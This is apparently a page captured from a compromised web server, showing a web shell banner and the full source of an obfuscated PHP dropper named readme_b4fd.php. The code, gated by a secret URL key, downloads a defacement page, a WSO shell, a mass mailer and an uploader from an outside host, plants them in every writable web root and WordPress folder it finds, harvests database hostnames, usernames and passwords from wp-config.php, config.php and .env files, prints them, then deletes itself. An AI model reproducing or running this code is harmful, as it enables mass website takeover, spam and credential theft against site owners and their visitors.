Hunter Bajwa
Server: Microsoft-IIS/7.5
System: Windows NT EGAL 6.1 build 7601
User: IUSR_hrreflections (0)
PHP: 5.2.17
Disabled: NONE
$ pwd: C:/inetpub/vhosts/hrreflections.com/httpdocs/
Upload Files
File: C:/inetpub/vhosts/hrreflections.com/httpdocs/readme_b4fd.php
<!-- https://t.me/MrBDKR28 -->
<?php
 goto xixrY; pSeBf: goto xuXHF; goto aJEBl; PLhhx: foreach ($wDdGe as $O18Y_) { echo "{$O18Y_}\12"; wiwAu: } goto CJrQL; fiR3K: if (!empty($tyg3k)) { goto L3_0C; } goto zE6Yi; pjz0Y: C_LCr: goto zfRHW; P71d1: FNVcE($KBVw0); goto yqikP; Xb6s_: ZsU3T: goto s8JuR; h2R83: $wnY1B[] = "{$O5s2D}\174\65\70\67\174\151\x6e\x66\157\x40{$O5s2D}\x7c{$xjJ3V}"; goto pjz0Y; QBNQW: foreach ($fka0t as $O18Y_) { echo "{$O18Y_}\12"; FhTZN: } goto uHzkg; w4YJk: $fka0t = []; goto UcJ3U; vS0bI: tMVcH: goto upuj_; oJ_b5: die("\x41\143\143\145\x73\x73\40\104\x65\x6e\151\145\x64"); goto qAP42; XC3RS: TSmLD: goto QRjre; IK2sX: goto fP22W; goto iIep0; uHzkg: hBor9: goto KYAHy; iLNhw: L3_0C: goto K81e6; A42_A: error_reporting(0); goto alib4; qhc0Z: if (!empty($cG7bw)) { goto TcMIn; } goto OBVnw; BziJv: $sLB3d = substr(md5(time() . rand()), 0, 14); goto uyGNQ; CJrQL: DVbfq: goto hF4QY; UcJ3U: $wnY1B = []; goto DEs0B; rSrhR: foreach (glob("{$oXY6U}\x2f\52", GLOB_ONLYDIR) as $D2PP9) { goto Ml7I5; ZjsQV: O2act: goto mdo_j; Ml7I5: $c99AY = [$D2PP9, "{$D2PP9}\57\160\165\142\x6c\x69\x63\137\x68\164\x6d\x6c", "{$D2PP9}\x2f\167\x77\x77", "{$D2PP9}\x2f\150\164\x64\157\143\163", "{$D2PP9}\x2f\x68\x74\155\x6c", "{$D2PP9}\57\167\145\x62", "{$D2PP9}\x2f\x68\164\x74\160\x64\x6f\x63\163"]; goto dFa94; dFa94: foreach ($c99AY as $rLHm5) { goto OWDYr; OWDYr: if (!is_dir($rLHm5)) { goto bNsLN; } goto ubweR; ubweR: sTlX3($rLHm5); goto tTnhq; tTnhq: bNsLN: goto Rq71F; Rq71F: JsG_p: goto GoY5F; GoY5F: } goto LsZTM; LsZTM: a6ds4: goto ZjsQV; mdo_j: } goto vS0bI; zfRHW: header("\103\x6f\156\164\145\156\164\x2d\x54\171\160\x65\72\40\x74\145\x78\x74\57\x70\x6c\141\x69\156"); goto VrvtS; c6cWR: StLx3($KBVw0); goto rSrhR; hEkoT: echo "\116\157\x20\155\x61\151\154\x65\x72\40\x75\160\x6c\x6f\141\144\145\144\12"; goto pSeBf; kMluw: die; goto NYO8c; upuj_: if (!empty($wnY1B)) { goto C_LCr; } goto YtwNP; rvusB: $KBVw0 = dirname($KBVw0); goto BdH_B; DPol2: function fj8NV($QckIB, $SJLF7, $O5s2D = null) { goto F3jeh; F3jeh: global $u6Zdo, $IVRni, $cG7bw; goto Ip3pg; bEGqP: ZzrTc: goto KgFvy; Ip3pg: if (!is_writable($QckIB)) { goto ZzrTc; } goto hX7eb; voCKQ: P9mPP: goto bEGqP; CapGa: $cG7bw[] = "\x68\x74\x74\160\x73\72\57\57{$aQWuI}\57{$SJLF7}\x2f{$u6Zdo}"; goto voCKQ; hX7eb: file_put_contents("{$QckIB}\x2f{$u6Zdo}", $IVRni); goto E1kax; A0pVO: if (!(strpos($aQWuI, "\x2e") !== false && !preg_match("\57\x28\160\x75\142\x6c\x69\143\x5f\150\x74\155\154\174\167\x77\x77\174\150\x74\144\157\x63\163\174\x62\x61\x63\153\x75\160\x7c\x6c\x6f\147\163\174\x74\x6d\x70\x7c\x63\x61\x63\x68\x65\174\150\x74\x74\x70\144\x6f\143\x73\x29\x2f\x69", $aQWuI))) { goto P9mPP; } goto CapGa; E1kax: $aQWuI = $O5s2D ?: $_SERVER["\110\x54\124\120\137\110\117\123\124"]; goto A0pVO; KgFvy: } goto Keqsr; HQJSJ: if (is_dir($oXY6U)) { goto OQvAt; } goto ejy3g; iIep0: TcMIn: goto Q2ZZy; lco2_: $xjJ3V = substr(str_shuffle("\x41\x42\103\x44\105\x46\107\110\111\x4a\113\x4c\x4d\x4e\x4f\120\x51\x52\123\124\125\126\x57\x58\x59\132\x61\x62\143\x64\x65\146\147\150\151\x6a\153\x6c\x6d\x6e\157\x70\x71\162\163\x74\x75\x76\x77\x78\171\x7a\x30\x31\x32\x33\64\x35\66\x37\70\x39"), 0, 12); goto h2R83; alib4: @set_time_limit(0); goto tlM53; YtwNP: $O5s2D = $_SERVER["\x48\124\124\x50\x5f\110\117\x53\x54"]; goto lco2_; rinY7: if (empty($wnY1B)) { goto FY5kK; } goto GHd_j; iG_BG: if (!empty($fka0t)) { goto H_Dpn; } goto hEkoT; EO6fj: $wjZQR = "{$sLB3d}\x2e\160\150\x70"; goto yCahq; vRLVG: TdODL: goto PLhhx; bI3X5: function FNVCE($QckIB, $O5s2D = null) { goto w1vFp; W4_T6: $fka0t[] = "\x68\x74\x74\160\x73\72\57\x2f{$aQWuI}\x2f{$Z28dQ}"; goto q8zrD; LlVwQ: $wDdGe[] = "\150\x74\164\160\x73\x3a\x2f\x2f{$aQWuI}\57{$wjZQR}"; goto W4_T6; w1vFp: global $sZenK, $wjZQR, $Z28dQ, $Wffq8, $wDpY8, $xBwrU, $tyg3k, $wDdGe, $fka0t; goto EHif9; l3VA_: file_put_contents("{$QckIB}\x2f{$wjZQR}", $wDpY8); goto e4fKd; q8zrD: DrbA8: goto RzuhC; EHif9: if (!is_writable($QckIB)) { goto JqcZp; } goto SdLWM; tXLEA: if (!(strpos($aQWuI, "\56") !== false && !preg_match("\57\x28\160\165\142\154\151\x63\137\150\164\x6d\x6c\174\167\x77\167\174\150\164\x64\x6f\x63\163\174\x62\x61\x63\x6b\x75\x70\174\x6c\157\x67\163\x7c\164\x6d\160\x7c\143\x61\x63\150\x65\x7c\150\164\164\160\144\x6f\x63\163\51\x2f\x69", $aQWuI))) { goto DrbA8; } goto S2nDc; e4fKd: file_put_contents("{$QckIB}\x2f{$Z28dQ}", $xBwrU); goto difVU; RzuhC: JqcZp: goto o7kvc; S2nDc: $tyg3k[] = "\150\164\x74\160\163\x3a\57\x2f{$aQWuI}\57{$sZenK}"; goto LlVwQ; SdLWM: file_put_contents("{$QckIB}\x2f{$sZenK}", $Wffq8); goto l3VA_; difVU: $aQWuI = $O5s2D ?: $_SERVER["\110\x54\x54\x50\137\x48\117\123\x54"]; goto tXLEA; o7kvc: } goto DPol2; A9lNo: i1uwx: goto Xb6s_; wZXKf: echo "\x4e\157\x20\x73\150\145\x6c\x6c\x20\x75\160\x6c\157\x61\x64\x65\x64\xa"; goto yPVgq; dyo_i: foreach (glob("{$oXY6U}\57\52", GLOB_ONLYDIR) as $D2PP9) { goto YcwVN; vQGX7: XIUUu: goto D5DJW; q17Nj: foreach ($c99AY as $rLHm5) { goto pSxVB; tO2kA: IiFKE: goto bQ2c1; BxaMo: Fj8Nv($YVmVG, "\167\160\55\x61\x64\155\x69\x6e", basename($D2PP9)); goto bDCA_; Rqmr8: fj8nV($unaQd, "\x77\160\55\151\156\x63\x6c\x75\x64\145\x73", basename($D2PP9)); goto D51k0; lc__Z: if ($pKM92) { goto hfWR5; } goto v5v0X; ZV26a: foreach ($QvmcI as $xgrK1) { goto MOBuc; K6y9L: $pKM92 = true; goto xiwd2; xiwd2: goto ZwhXM; goto DWC3X; xC2sp: fJ8nV($xgrK1, $SJLF7, basename($D2PP9)); goto K6y9L; MOBuc: if (!is_writable($xgrK1)) { goto sYDWo; } goto PGhJM; PGhJM: $SJLF7 = basename($xgrK1); goto Fhn_1; DWC3X: OH3Ay: goto jUpNt; GiVz0: zp4Kb: goto AA3PK; Fhn_1: if (preg_match("\x2f\50\x6c\157\147\x73\x7c\x74\155\x70\x7c\x63\141\143\x68\x65\174\x62\x61\x63\x6b\x75\160\51\x2f\x69", $SJLF7)) { goto OH3Ay; } goto xC2sp; jUpNt: sYDWo: goto GiVz0; AA3PK: } goto UUysB; eDTIk: if (!(!$pKM92 && is_dir($YVmVG) && is_writable($YVmVG))) { goto pADSl; } goto BxaMo; pSxVB: if (!(is_dir($rLHm5) && is_writable($rLHm5))) { goto BuK4s; } goto q7ZHU; vl2Fl: goto XIUUu; goto Ucxqs; zjT2F: $pKM92 = true; goto PYeNv; BVnii: clrNq: goto lc__Z; bQ2c1: hfWR5: goto vl2Fl; wX6id: if (!(!$pKM92 && is_dir($unaQd) && is_writable($unaQd))) { goto clrNq; } goto Rqmr8; D51k0: $pKM92 = true; goto BVnii; v5v0X: $QvmcI = glob("{$rLHm5}\57\x2a", GLOB_ONLYDIR); goto FlwVS; PYeNv: hUQVv: goto xZ5t2; nYy4J: qK3OO: goto ehyo4; koFja: $SoMKt = "{$rLHm5}\x2f\167\x70\55\x63\157\x6e\x74\x65\x6e\164"; goto VNaan; Ucxqs: BuK4s: goto nYy4J; UUysB: ZwhXM: goto tO2kA; q7ZHU: fNvCE($rLHm5, basename($D2PP9)); goto D86J6; xZ5t2: $unaQd = "{$rLHm5}\x2f\x77\160\x2d\x69\156\143\154\165\x64\145\x73"; goto wX6id; PsHzW: FJ8nv($SoMKt, "\167\x70\x2d\143\157\156\x74\x65\x6e\x74", basename($D2PP9)); goto zjT2F; VNaan: if (!(!$pKM92 && is_dir($SoMKt) && is_writable($SoMKt))) { goto hUQVv; } goto PsHzW; alxQM: $YVmVG = "{$rLHm5}\57\167\160\55\x61\x64\155\151\x6e"; goto eDTIk; D86J6: $pKM92 = false; goto alxQM; bDCA_: $pKM92 = true; goto pkLrx; FlwVS: if (!$QvmcI) { goto IiFKE; } goto ZV26a; pkLrx: pADSl: goto koFja; ehyo4: } goto vQGX7; YcwVN: $c99AY = [$D2PP9, "{$D2PP9}\57\160\x75\x62\x6c\151\143\137\x68\x74\155\154", "{$D2PP9}\57\167\x77\x77", "{$D2PP9}\x2f\150\x74\144\x6f\x63\163", "{$D2PP9}\x2f\x68\x74\x6d\154", "{$D2PP9}\57\x77\x65\142", "{$D2PP9}\x2f\x68\164\164\160\144\x6f\x63\x73"]; goto q17Nj; D5DJW: mdTre: goto zALuZ; zALuZ: } goto tr3yY; qAP42: yqg6N: goto A42_A; J1mky: if (!(!$Wffq8 || !$wDpY8 || !$xBwrU || !$IVRni)) { goto tdlKI; } goto kMluw; tr3yY: eODAI: goto OVIAI; K2WcQ: UXnN6: goto lauQF; yPVgq: goto A2zf_; goto vRLVG; NYO8c: tdlKI: goto BziJv; BdH_B: goto TSmLD; goto NCQyR; xwbVE: OQvAt: goto dyo_i; s8JuR: echo "\xa\165\x70\x3a\xa"; goto qhc0Z; Gbufo: goto ZsU3T; goto iLNhw; GHd_j: $spC5S = array_unique($wnY1B); goto b_6f2; b_6f2: foreach ($spC5S as $Wy6Wb) { echo "{$Wy6Wb}\12"; Z0sVm: } goto R5b7q; Keqsr: $KBVw0 = $_SERVER["\104\117\103\x55\115\x45\116\124\137\122\117\117\x54"] ?: __DIR__; goto XC3RS; UeXNz: echo "\12\155\x3a\xa"; goto iG_BG; QRjre: if (!($KBVw0 != "\x2f" && !is_writable($KBVw0))) { goto FTOj9; } goto rvusB; xixrY: if (!(!isset($_GET["\142\144"]) || $_GET["\142\x64"] !== "\x62\144\153\x72\x32\65\63\67\x32\x68\152\146\x73\163\153\163\153\154")) { goto yqg6N; } goto oJ_b5; ej5a3: $xBwrU = KnTsg("\x68\x74\x74\160\x73\x3a\57\57\142\144\x6b\x61\x72\56\164\157\160\x2f\163\150\x65\x6c\x6c\165\x7a\172\57\x6c\145\x61\x66\137\155\x61\151\154\x65\x72\x2e\164\170\164"); goto p7GZs; yqikP: $oXY6U = dirname($KBVw0); goto HQJSJ; KYAHy: xuXHF: goto ZeZe3; ZEniA: $u6Zdo = "{$sLB3d}\x2e\160\x68\x70"; goto Yv8Mz; aJEBl: H_Dpn: goto QBNQW; vNsJw: $wDpY8 = KNTsG("\150\164\x74\x70\163\72\x2f\x2f\142\144\153\141\162\56\x74\157\x70\x2f\x73\150\x65\x6c\154\x75\x7a\172\x2f\167\163\157\55\x32\x30\62\x35\56\x74\x78\x74"); goto ej5a3; hF4QY: A2zf_: goto UeXNz; R5b7q: lDjnw: goto Hph38; ejy3g: $oXY6U = "\57\150\x6f\x6d\x65\x2f" . get_current_user(); goto xwbVE; Q2ZZy: foreach ($cG7bw as $O18Y_) { echo "{$O18Y_}\xa"; C1uOc: } goto K2WcQ; p7GZs: $IVRni = kNtsg("\x68\164\164\160\163\72\57\x2f\x62\144\153\x61\162\x2e\x74\157\x70\57\x73\x68\154\x2f\x75\160\154\157\x61\x64\145\x72\x2d\167\151\x74\150\x6f\x75\164\x70\x61\x73\163\x2e\164\170\x74"); goto J1mky; yCahq: $Z28dQ = "\115\141\x69\154\145\x72\x5f{$sLB3d}\x2e\x70\150\x70"; goto ZEniA; VrvtS: echo "\x73\72\xa"; goto bYlnU; OBVnw: echo "\x4e\x6f\40\165\160\x6c\157\x61\144\145\162\x20\x75\160\154\x6f\141\x64\145\144\12"; goto IK2sX; uyGNQ: $sZenK = "{$sLB3d}\56\150\164\155\x6c"; goto EO6fj; DEs0B: $cG7bw = []; goto bI3X5; tlM53: function kNtsg($lHbnp) { goto QIzKr; hT02h: eMw5S($A2x7x, [GEKvD => 1, k5QMV => 0, fsZCe => 20, WamtH => "\x4d\157\x7a\x69\154\154\x61\x2f\x35\x2e\x30"]); goto YSkX7; N01s3: $A2x7x = bKm9f($lHbnp); goto hT02h; J7MqW: if (!$D2PP9) { goto rT51_; } goto aD01R; aD01R: return $D2PP9; goto xq4cY; YSkX7: $D2PP9 = ENAth($A2x7x); goto cjH6i; QIzKr: if (!function_exists("\142\113\x6d\x39\106")) { goto zWGN7; } goto N01s3; xq4cY: rT51_: goto g_UyW; cjH6i: K0gm_($A2x7x); goto J7MqW; g_UyW: zWGN7: goto B1a2G; B1a2G: return @file_get_contents($lHbnp); goto YOo14; YOo14: } goto AlCUQ; dfRy2: $wDdGe = []; goto w4YJk; zE6Yi: echo "\116\x6f\x20\x64\145\x66\141\x63\145\x20\x70\141\x67\x65\x20\x75\160\154\x6f\141\x64\145\x64\12"; goto Gbufo; Hph38: FY5kK: goto y20Z_; OVIAI: function STLX3($dQsV4) { goto uUHGF; uUHGF: global $wnY1B; goto V3Vfk; oBVpA: foreach ($oIpG5 as $hm6C4) { goto eO_Yj; NnOik: $wnY1B[] = "{$c1CWc}\x7c\x35\x38\67\174{$cVIEA}\174{$ytdPZ}"; goto am6Hc; S1tbJ: XAq4r: goto vPwDR; JN4_n: JF9cW: goto n12vn; TBWEK: goto iqeYz; goto S1tbJ; am6Hc: Ig0SK: goto JN4_n; n12vn: iqeYz: goto cudg8; vPwDR: $uFRc6 = file_get_contents($QckIB); goto emRAH; z9oh3: $c1CWc = $L7oX0[1]; goto B5DJn; IrQC1: $ytdPZ = $eHFEF[1]; goto xQfdR; emRAH: if (!(preg_match("\57\x64\x65\146\x69\156\145\x5c\x28\134\163\x2a\x5b\47\x22\135\104\x42\x5f\110\117\x53\x54\x5b\x27\x22\135\x2e\x2a\77\133\47\x22\135\x28\x5b\x5e\x27\x22\x5d\x2b\x29\133\x27\42\x5d\x2f\151", $uFRc6, $L7oX0) && preg_match("\57\144\x65\x66\x69\x6e\145\134\50\x5c\x73\x2a\133\x27\x22\135\104\102\137\125\x53\x45\122\133\47\x22\135\56\x2a\x3f\133\47\x22\135\50\133\x5e\47\x22\135\x2b\51\x5b\47\x22\x5d\x2f\x69", $uFRc6, $RMZnG) && preg_match("\x2f\x64\x65\146\x69\156\x65\134\50\134\163\x2a\133\47\42\x5d\104\102\x5f\120\x41\123\x53\127\x4f\x52\104\133\x27\42\135\56\x2a\77\133\x27\42\x5d\50\133\x5e\47\x22\135\53\x29\x5b\47\42\135\57\x69", $uFRc6, $eHFEF))) { goto JF9cW; } goto z9oh3; B5DJn: $cVIEA = $RMZnG[1]; goto IrQC1; oaqph: if (is_file($QckIB)) { goto XAq4r; } goto TBWEK; xQfdR: if (!($c1CWc && $cVIEA && $ytdPZ && !preg_match("\x2f\154\157\143\141\154\150\x6f\x73\164\174\x31\62\67\134\x2e\x30\134\56\60\134\56\x31\57\x69", $c1CWc))) { goto Ig0SK; } goto NnOik; eO_Yj: $QckIB = rtrim($dQsV4, "\x2f") . "\x2f" . $hm6C4; goto oaqph; cudg8: } goto L7QwZ; L7QwZ: S7Rvx: goto Y0ZGB; V3Vfk: $oIpG5 = ["\167\x70\x2d\x63\157\x6e\x66\x69\147\56\x70\150\160", "\143\x6f\x6e\x66\151\147\56\x70\x68\x70", "\143\157\x6e\146\151\x67\165\x72\141\164\151\x6f\156\56\160\150\x70", "\163\145\164\164\x69\156\147\163\56\x70\x68\x70", "\x2e\x65\156\166"]; goto oBVpA; Y0ZGB: } goto c6cWR; lauQF: fP22W: goto pwj3G; bYlnU: if (!empty($wDdGe)) { goto TdODL; } goto wZXKf; ZeZe3: echo "\xa\144\x3a\12"; goto fiR3K; pwj3G: echo "\xa\163\155\x3a\12"; goto rinY7; Yv8Mz: $tyg3k = []; goto dfRy2; AlCUQ: $Wffq8 = kntsg("\x68\164\164\x70\x73\x3a\57\57\142\x64\x6b\141\x72\56\x74\x6f\160\57\x64\145\x66\141\x63\x65\x2f\142\56\x74\170\164"); goto vNsJw; K81e6: foreach ($tyg3k as $O18Y_) { echo "{$O18Y_}\xa"; Z5Y7q: } goto A9lNo; NCQyR: FTOj9: goto P71d1; y20Z_: @unlink(__FILE__);
@ Telegram